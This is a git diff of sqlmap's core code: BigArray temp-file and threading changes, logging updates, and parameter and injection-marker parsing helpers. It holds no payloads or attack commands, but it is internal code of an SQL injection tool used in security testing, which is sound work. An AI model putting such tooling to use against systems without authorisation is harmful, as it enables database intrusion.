+ def __iadd__(self, value):
+ for _ in value:
+ self.append(_)
+
+ return self
+
def append(self, value):
- self.chunks[-1].append(value)
+ with self._lock:
+ self.chunks[-1].append(value)
- if self.chunk_length == sys.maxsize:
- self._size_counter += _size_of(value)
- if self._size_counter >= BIGARRAY_CHUNK_SIZE:
- self.chunk_length = len(self.chunks[-1])
- self._size_counter = None
+ if self.chunk_length == sys.maxsize:
+ self._size_counter += _size_of(value)
+ if self._size_counter >= self._chunk_size:
+ self.chunk_length = len(self.chunks[-1])
+ self._size_counter = None
- if len(self.chunks[-1]) >= self.chunk_length:
- filename = self._dump(self.chunks[-1])
- self.chunks[-1] = filename
- self.chunks.append([])
+ if len(self.chunks[-1]) >= self.chunk_length:
+ filename = self._dump(self.chunks[-1])
+ self.chunks[-1] = filename
+ self.chunks.append([])
def extend(self, value):
for _ in value:
self.append(_)
def pop(self):
- if len(self.chunks[-1]) < 1:
- self.chunks.pop()
- try:
- with open(self.chunks[-1], "rb") as f:
- self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
- except IOError as ex:
- errMsg = "exception occurred while retrieving data "
- errMsg += "from a temporary file ('%s')" % ex
- raise SqlmapSystemException(errMsg)
+ with self._lock:
+ if not self.chunks[-1] and len(self.chunks) > 1:
+ self.chunks.pop()
+ try:
+ filename = self.chunks[-1]
+ with open(filename, "rb") as f:
+ self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+ self._os_remove(filename)
+ self.filenames.discard(filename)
+ except IOError as ex:
+ errMsg = "exception occurred while retrieving data "
+ errMsg += "from a temporary file ('%s')" % ex
+ raise SqlmapSystemException(errMsg)
return self.chunks[-1].pop()
@@ -105,14 +169,32 @@ def index(self, value):
if self[index] == value:
return index
- return ValueError, "%s is not in list" % value
+ raise ValueError("%s is not in list" % value)
+
+ def __reduce__(self):
+ return (self.__class__, (), self.__getstate__())
+
+ def close(self):
+ with self._lock:
+ while self.filenames:
+ filename = self.filenames.pop()
+ try:
+ self._os_remove(filename)
+ except OSError:
+ pass
+ self.chunks = [[]]
+ self.cache = None
+ self.chunk_length = getattr(sys, "maxsize", None)
+ self._size_counter = 0
+
+ def __del__(self):
+ self.close()
def _dump(self, chunk):
try:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
self.filenames.add(filename)
- os.close(handle)
- with open(filename, "w+b") as f:
+ with os.fdopen(handle, "w+b") as f:
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
except (OSError, IOError) as ex:
@@ -124,6 +206,9 @@ def _dump(self, chunk):
raise SqlmapSystemException(errMsg)
def _checkcache(self, index):
+ if self.cache is not None and not isinstance(self.cache, Cache):
+ self.cache = None
+
if (self.cache and self.cache.index != index and self.cache.dirty):
filename = self._dump(self.cache.data)
self.chunks[self.cache.index] = filename
@@ -138,44 +223,117 @@ def _checkcache(self, index):
raise SqlmapSystemException(errMsg)
def __getstate__(self):
- return self.chunks, self.filenames
+ if self.cache and self.cache.dirty:
+ filename = self._dump(self.cache.data)
+ self.chunks[self.cache.index] = filename
+ self.cache.dirty = False
+
+ return self.chunks, self.filenames, self.chunk_length
def __setstate__(self, state):
self.__init__()
- self.chunks, self.filenames = state
+ chunks, filenames, self.chunk_length = state
+
+ file_mapping = {}
+ self.filenames = set()
+ self.chunks = []
+
+ for filename in filenames:
+ if not os.path.exists(filename):
+ continue
+
+ try:
+ handle, new_filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
+ os.close(handle)
+ shutil.copyfile(filename, new_filename)
+ self.filenames.add(new_filename)
+ file_mapping[filename] = new_filename
+ except (OSError, IOError):
+ pass
+
+ for chunk in chunks:
+ if isinstance(chunk, STRING_TYPES):
+ if chunk in file_mapping:
+ self.chunks.append(file_mapping[chunk])
+ else:
+ errMsg = "exception occurred while restoring BigArray chunk "
+ errMsg += "from file '%s'" % chunk
+ raise SqlmapSystemException(errMsg)
+ else:
+ self.chunks.append(chunk)
def __getitem__(self, y):
- if y < 0:
- y += len(self)
+ with self._lock:
+ length = len(self)
+ if length == 0:
+ raise IndexError("BigArray index out of range")
+
+ if y < 0:
+ y += length
- index = y // self.chunk_length
- offset = y % self.chunk_length
- chunk = self.chunks[index]
+ if y < 0 or y >= length:
+ raise IndexError("BigArray index out of range")
- if isinstance(chunk, list):
- return chunk[offset]
- else:
- self._checkcache(index)
- return self.cache.data[offset]
+ index = y // self.chunk_length
+ offset = y % self.chunk_length
+ chunk = self.chunks[index]
+
+ if isinstance(chunk, list):
+ return chunk[offset]
+ else:
+ self._checkcache(index)
+ return self.cache.data[offset]
def __setitem__(self, y, value):
- index = y // self.chunk_length
- offset = y % self.chunk_length
- chunk = self.chunks[index]
+ with self._lock:
+ length = len(self)
+ if length == 0:
+ raise IndexError("BigArray index out of range")
+
+ if y < 0:
+ y += length
+
+ if y < 0 or y >= length:
+ raise IndexError("BigArray index out of range")
+
+ index = y // self.chunk_length
+ offset = y % self.chunk_length
+ chunk = self.chunks[index]
- if isinstance(chunk, list):
- chunk[offset] = value
- else:
- self._checkcache(index)
- self.cache.data[offset] = value
- self.cache.dirty = True
+ if isinstance(chunk, list):
+ chunk[offset] = value
+ else:
+ self._checkcache(index)
+ self.cache.data[offset] = value
+ self.cache.dirty = True
def __repr__(self):
return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__())
def __iter__(self):
- for i in xrange(len(self)):
- yield self[i]
+ with self._lock:
+ chunks = list(self.chunks)
+ cache_index = self.cache.index if isinstance(self.cache, Cache) else None
+ cache_data = self.cache.data if isinstance(self.cache, Cache) else None
+
+ for idx, chunk in enumerate(chunks):
+ if isinstance(chunk, list):
+ for item in chunk:
+ yield item
+ else:
+ try:
+ if cache_index == idx and cache_data is not None:
+ data = cache_data
+ else:
+ with open(chunk, "rb") as f:
+ data = pickle.loads(zlib.decompress(f.read()))
+ except Exception as ex:
+ errMsg = "exception occurred while retrieving data "
+ errMsg += "from a temporary file ('%s')" % ex
+ raise SqlmapSystemException(errMsg)
+
+ for item in data:
+ yield item
def __len__(self):
return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1])
diff --git a/lib/core/common.py b/lib/core/common.py
index aead6ab6cd0..24ca3276332 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -11,7 +11,6 @@
import codecs
import contextlib
import copy
-import distutils.version
import functools
import getpass
import hashlib
@@ -36,6 +35,7 @@
import time
import types
import unicodedata
+import zlib
from difflib import SequenceMatcher
from math import sqrt
@@ -47,6 +47,8 @@
from extra.cloak.cloak import decloak
from lib.core.bigarray import BigArray
from lib.core.compat import cmp
+from lib.core.compat import codecs_open
+from lib.core.compat import LooseVersion
from lib.core.compat import round
from lib.core.compat import xrange
from lib.core.convert import base64pickle
@@ -103,7 +105,8 @@
from lib.core.log import LOGGER_HANDLER
from lib.core.optiondict import optDict
from lib.core.settings import BANNER
-from lib.core.settings import BOLD_PATTERNS
+from lib.core.settings import BOLD_PATTERNS_REGEX
+from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
@@ -128,13 +131,14 @@
from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
from lib.core.settings import GIT_PAGE
from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
-from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
+from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
+from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IP_ADDRESS_REGEX
from lib.core.settings import ISSUES_PAGE
from lib.core.settings import IS_TTY
@@ -167,6 +171,7 @@
from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
+from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SENSITIVE_OPTIONS
from lib.core.settings import STDIN_PIPE_DASH
@@ -251,6 +256,10 @@ def getDbms(versions=None):
if versions is None and Backend.getVersionList():
versions = Backend.getVersionList()
+ # NOTE: preventing ugly (e.g.) "back-end DBMS: MySQL Unknown"
+ if isListLike(versions) and UNKNOWN_DBMS_VERSION in versions:
+ versions = None
+
return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions)))
@staticmethod
@@ -350,7 +359,7 @@ def setDbms(dbms):
elif kb.dbms is not None and kb.dbms != dbms:
warnMsg = "there appears to be a high probability that "
warnMsg += "this could be a false positive case"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
msg = "sqlmap previously fingerprinted back-end DBMS as "
msg += "%s. However now it has been fingerprinted " % kb.dbms
@@ -370,7 +379,7 @@ def setDbms(dbms):
break
else:
warnMsg = "invalid value"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
elif kb.dbms is None:
kb.dbms = aliasToDbmsEnum(dbms)
@@ -428,7 +437,7 @@ def setOs(os):
break
else:
warnMsg = "invalid value"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
elif kb.os is None and isinstance(os, six.string_types):
kb.os = os.capitalize()
@@ -465,7 +474,7 @@ def setArch():
break
else:
warnMsg = "invalid value. Valid values are 1 and 2"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
return kb.arch
@@ -589,11 +598,14 @@ def isVersionWithin(versionList):
def isVersionGreaterOrEqualThan(version):
retVal = False
- if Backend.getVersion() is not None and version is not None:
+ if all(_ not in (None, UNKNOWN_DBMS_VERSION) for _ in (Backend.getVersion(), version)):
+ _version = unArrayizeValue(Backend.getVersion())
+ _version = re.sub(r"[<>= ]", "", _version)
+
try:
- retVal = distutils.version.LooseVersion(Backend.getVersion()) >= distutils.version.LooseVersion(version)
+ retVal = LooseVersion(_version) >= LooseVersion(version)
except:
- retVal = str(Backend.getVersion()) >= str(version)
+ retVal = str(_version) >= str(version)
return retVal
@@ -653,13 +665,13 @@ def paramToDict(place, parameters=None):
if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)):
_ = urldecode(testableParameters[parameter], convall=True)
- if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
+ if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter):
warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). "
warnMsg += "Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] "
@@ -669,7 +681,7 @@ def paramToDict(place, parameters=None):
warnMsg = "provided value for parameter '%s' is empty. " % parameter
warnMsg += "Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if place in (PLACE.POST, PLACE.GET):
for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
@@ -703,8 +715,16 @@ def walk(head, current=None):
if value:
walk(head, value)
- deserialized = json.loads(testableParameters[parameter])
- walk(deserialized)
+ # NOTE: for cases with custom injection marker(s) inside (e.g. https://github.com/sqlmapproject/sqlmap/issues/4137#issuecomment-2013783111) - p.s. doesn't care too much about the structure (e.g. injection into the flat array values)
+ if CUSTOM_INJECTION_MARK_CHAR in testableParameters[parameter]:
+ for match in re.finditer(r'(\w+)[^\w]*"\s*:[^\w]*\w*%s' % re.escape(CUSTOM_INJECTION_MARK_CHAR), testableParameters[parameter]):
+ key = match.group(1)
+ value = testableParameters[parameter].replace(match.group(0), match.group(0).replace(CUSTOM_INJECTION_MARK_CHAR, BOUNDED_INJECTION_MARKER))
+ candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % value, parameters)
+
+ if not candidates:
+ deserialized = json.loads(testableParameters[parameter])
+ walk(deserialized)
if candidates:
message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter)
@@ -734,7 +754,7 @@ def walk(head, current=None):
if len(conf.testParameter) > 1:
warnMsg = "provided parameters '%s' " % paramStr
warnMsg += "are not inside the %s" % place
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
else:
parameter = conf.testParameter[0]
@@ -759,7 +779,7 @@ def walk(head, current=None):
if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in getBytes(string.printable) for _ in decoded):
warnMsg = "provided parameter '%s' " % parameter
warnMsg += "appears to be '%s' encoded" % encoding
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
break
except:
pass
@@ -810,7 +830,7 @@ def getManualDirectories():
else:
warnMsg = "unable to automatically retrieve the web server "
warnMsg += "document root"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
directories = []
@@ -876,7 +896,7 @@ def getManualDirectories():
def getAutoDirectories():
"""
>>> pushValue(kb.absFilePaths)
- >>> kb.absFilePaths = ["C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"]
+ >>> kb.absFilePaths = [r"C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"]
>>> getAutoDirectories()
['C:/inetpub/wwwroot', '/var/www/html']
>>> kb.absFilePaths = popValue()
@@ -896,7 +916,7 @@ def getAutoDirectories():
retVal.add(directory)
else:
warnMsg = "unable to automatically parse any web server path"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
return list(retVal)
@@ -940,7 +960,7 @@ def boldifyMessage(message, istty=None):
retVal = message
- if any(_ in message for _ in BOLD_PATTERNS):
+ if re.search(BOLD_PATTERNS_REGEX, message):
retVal = setColor(message, bold=True, istty=istty)
return retVal
@@ -1016,7 +1036,7 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
if not kb.get("threadException"):
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
- multiThreadMode = isMultiThreadMode()
+ multiThreadMode = kb.get("multiThreadMode")
if multiThreadMode:
logging._acquireLock()
@@ -1025,10 +1045,15 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
else:
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
-
- sys.stdout.flush()
except IOError:
pass
+ except UnicodeEncodeError:
+ sys.stdout.write(re.sub(r"[^ -~]", '?', clearColors(data)))
+ finally:
+ try:
+ sys.stdout.flush()
+ except IOError:
+ raise SystemExit
if multiThreadMode:
logging._releaseLock()
@@ -1312,7 +1337,10 @@ def isZipFile(filename):
checkFile(filename)
- return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
+ with openFile(filename, "rb", encoding=None) as f:
+ header = f.read(len(ZIP_HEADER))
+
+ return header == ZIP_HEADER
def isDigit(value):
"""
@@ -1379,6 +1407,38 @@ def banner():
dataToStdout(result, forceOutput=True)
+def parseJson(content):
+ """
+ This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content
+
+ >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1
+ True
+ >>> parseJson('{"id":1}')["id"] == 1
+ True
+ """
+
+ quote = None
+ retVal = None
+
+ for regex in (r"'[^']+'\s*:", r'"[^"]+"\s*:'):
+ match = re.search(regex, content)
+ if match:
+ quote = match.group(0)[0]
+
+ try:
+ if quote == '"':
+ retVal = json.loads(content)
+ elif quote == "'":
+ def _(match):
+ return '"%s"' % match.group(1).replace('"', '\\"')
+
+ content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content)
+ retVal = json.loads(content)
+ except:
+ pass
+
+ return retVal
+
def parsePasswordHash(password):
"""
In case of Microsoft SQL Server password hash value is expanded to its components
@@ -1417,10 +1477,18 @@ def cleanQuery(query):
"""
retVal = query
+ queryLower = query.lower()
for sqlStatements in SQL_STATEMENTS.values():
for sqlStatement in sqlStatements:
candidate = sqlStatement.replace("(", "").replace(")", "").strip()
+
+ # OPTIMIZATION: Skip expensive regex compilation/search if the keyword
+ # isn't even present in the string. This makes the function O(K) instead of O(N*K)
+ # for the expensive regex part (where K is num keywords).
+ if not candidate or candidate.lower() not in queryLower:
+ continue
+
queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query)
if queryMatch and "sys_exec" not in query:
@@ -1428,6 +1496,19 @@ def cleanQuery(query):
return retVal
+def cleanReplaceUnicode(value):
+ """
+ Cleans unicode for proper encode/decode
+
+ >>> cleanReplaceUnicode(['a', 'b'])
+ ['a', 'b']
+ """
+
+ def clean(value):
+ return value.encode(UNICODE_ENCODING, errors="replace").decode(UNICODE_ENCODING) if isinstance(value, six.text_type) else value
+
+ return applyFunctionRecursively(value, clean)
+
def setPaths(rootPath):
"""
Sets absolute paths for project directories and files
@@ -1454,6 +1535,7 @@ def setPaths(rootPath):
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
+ paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
@@ -1521,6 +1603,12 @@ def parseTargetDirect():
'testdb'
>>> conf.dbmsPass
'testpass'
+ >>> conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test"
+ >>> parseTargetDirect()
+ >>> conf.dbmsPass
+ 'P@ssw0rd'
+ >>> conf.hostname
+ '127.0.0.1'
>>> conf.direct = popValue()
"""
@@ -1531,14 +1619,14 @@ def parseTargetDirect():
remote = False
for dbms in SUPPORTED_DBMS:
- details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\]*)$" % dbms, conf.direct, re.I)
+ details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I)
if details:
conf.dbms = details.group("dbms")
if details.group("credentials"):
- conf.dbmsUser = details.group("user")
- conf.dbmsPass = details.group("pass")
+ conf.dbmsUser = details.group("user").strip("'\"")
+ conf.dbmsPass = details.group("pass").strip("'\"")
else:
if conf.dbmsCred:
conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
@@ -1580,7 +1668,7 @@ def parseTargetDirect():
if remote:
warnMsg = "direct connection over the network for "
warnMsg += "%s DBMS is not supported" % dbmsName
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
conf.hostname = "localhost"
conf.port = 0
@@ -1605,11 +1693,7 @@ def parseTargetDirect():
elif dbmsName == DBMS.PGSQL:
__import__("psycopg2")
elif dbmsName == DBMS.ORACLE:
- __import__("cx_Oracle")
-
- # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
- if (conf.dbmsUser or "").upper() == "SYS":
- conf.direct = "%s?mode=SYSDBA" % conf.direct
+ __import__("oracledb")
elif dbmsName == DBMS.SQLITE:
__import__("sqlite3")
elif dbmsName == DBMS.ACCESS:
@@ -1709,7 +1793,7 @@ def parseTargetUrl():
errMsg = "invalid target URL port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg)
- conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
+ conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path))
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
if urlSplit.query:
@@ -1762,7 +1846,7 @@ def expandAsteriskForColumns(expression):
the SQL query string (expression)
"""
- match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
+ match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression)
if match:
infoMsg = "you did not provide the fields in your query. "
@@ -1843,7 +1927,7 @@ def parseUnionPage(page):
if re.search(r"(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page):
if len(page) > LARGE_OUTPUT_THRESHOLD:
warnMsg = "large output detected. This might take a while"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
data = BigArray()
keys = set()
@@ -1989,7 +2073,7 @@ def getCharset(charsetType=None):
# Digits
elif charsetType == CHARSET_TYPE.DIGITS:
- asciiTbl.extend((0, 9))
+ asciiTbl.extend(xrange(0, 10))
asciiTbl.extend(xrange(47, 58))
# Hexadecimal
@@ -2130,19 +2214,19 @@ def safeStringFormat(format_, params):
while True:
match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal)
if match:
- if count >= len(params):
- warnMsg = "wrong number of parameters during string formatting. "
- warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
- raise SqlmapValueException(warnMsg)
- else:
- try:
- retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
- except re.error:
- retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
- count += 1
+ try:
+ retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1)
+ except re.error:
+ retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1)
+ count += 1
else:
break
+ if count > len(params) and count % len(params):
+ warnMsg = "wrong number of parameters during string formatting. "
+ warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
+ raise SqlmapValueException(warnMsg)
+
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
return retVal
@@ -2248,7 +2332,7 @@ def ntToPosixSlashes(filepath):
Replaces all occurrences of NT backslashes in provided
filepath with Posix slashes
- >>> ntToPosixSlashes('C:\\Windows')
+ >>> ntToPosixSlashes(r'C:\\Windows')
'C:/Windows'
"""
@@ -2266,22 +2350,6 @@ def isHexEncodedString(subject):
return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None
-def isMultiThreadMode():
- """
- Checks if running in multi-thread(ing) mode
-
- >>> isMultiThreadMode()
- False
- >>> _ = lambda: time.sleep(0.1)
- >>> thread = threading.Thread(target=_)
- >>> thread.daemon = True
- >>> thread.start()
- >>> isMultiThreadMode()
- True
- """
-
- return threading.activeCount() > 1
-
@cachedmethod
def getConsoleWidth(default=80):
"""
@@ -2405,7 +2473,7 @@ def getSQLSnippet(dbms, sfile, **variables):
return retVal
-def readCachedFileContent(filename, mode="rb"):
+def readCachedFileContent(filename, mode='r'):
"""
Cached reading of file content (avoiding multiple same file reading)
@@ -2476,21 +2544,22 @@ def initCommonOutputs():
kb.commonOutputs = {}
key = None
- for line in openFile(paths.COMMON_OUTPUTS, 'r'):
- if line.find('#') != -1:
- line = line[:line.find('#')]
+ with openFile(paths.COMMON_OUTPUTS, 'r') as f:
+ for line in f:
+ if line.find('#') != -1:
+ line = line[:line.find('#')]
- line = line.strip()
+ line = line.strip()
- if len(line) > 1:
- if line.startswith('[') and line.endswith(']'):
- key = line[1:-1]
- elif key:
- if key not in kb.commonOutputs:
- kb.commonOutputs[key] = set()
+ if len(line) > 1:
+ if line.startswith('[') and line.endswith(']'):
+ key = line[1:-1]
+ elif key:
+ if key not in kb.commonOutputs:
+ kb.commonOutputs[key] = set()
- if line not in kb.commonOutputs[key]:
- kb.commonOutputs[key].add(line)
+ if line not in kb.commonOutputs[key]:
+ kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
@@ -2707,7 +2776,14 @@ def popValue():
'foobar'
"""
- return getCurrentThreadData().valueStack.pop()
+ retVal = None
+
+ try:
+ retVal = getCurrentThreadData().valueStack.pop()
+ except IndexError:
+ pass
+
+ return retVal
def wasLastResponseDBMSError():
"""
@@ -2741,7 +2817,7 @@ def wasLastResponseDelayed():
if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
warnMsg = "time-based standard deviation method used on a model "
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation
retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit))
@@ -2855,22 +2931,15 @@ def findMultipartPostBoundary(post):
"""
retVal = None
-
- done = set()
- candidates = []
+ counts = {}
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
- _ = match.group(1).strip().strip('-')
+ boundary = match.group(1).strip().strip('-')
+ counts[boundary] = counts.get(boundary, 0) + 1
- if _ in done:
- continue
- else:
- candidates.append((post.count(_), _))
- done.add(_)
-
- if candidates:
- candidates.sort(key=lambda _: _[0], reverse=True)
- retVal = candidates[0][1]
+ if counts:
+ sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True)
+ retVal = sorted_boundaries[0][0]
return retVal
@@ -2904,7 +2973,7 @@ def _(match):
if spaceplus:
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)
- result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
+ result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "")
result = getUnicode(result, encoding or UNICODE_ENCODING)
@@ -3064,6 +3133,8 @@ def extractRegexResult(regex, content, flags=0):
>>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg')
'bcdef'
+ >>> extractRegexResult(r'a(?P[^g]+)g', 'ABCDEFG', re.I)
+ 'BCDEF'
"""
retVal = None
@@ -3129,7 +3200,14 @@ def isNumPosStrValue(value):
False
"""
- return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
+ retVal = False
+
+ try:
+ retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
+ except ValueError:
+ pass
+
+ return retVal
@cachedmethod
def aliasToDbmsEnum(dbms):
@@ -3262,14 +3340,14 @@ def filterNone(values):
"""
Emulates filterNone([...]) functionality
- >>> filterNone([1, 2, "", None, 3])
- [1, 2, 3]
+ >>> filterNone([1, 2, "", None, 3, 0])
+ [1, 2, 3, 0]
"""
retVal = values
if isinstance(values, _collections.Iterable):
- retVal = [_ for _ in values if _]
+ retVal = [_ for _ in values if _ or _ == 0]
return retVal
@@ -3349,22 +3427,45 @@ def parseSqliteTableSchema(value):
>>> kb.data.cachedColumns = {}
>>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
True
- >>> repr(kb.data.cachedColumns).count(',') == 1
+ >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT'))
+ True
+ >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)");
+ True
+ >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT'))
+ True
+ >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);");
+ True
+ >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT'))
+ True
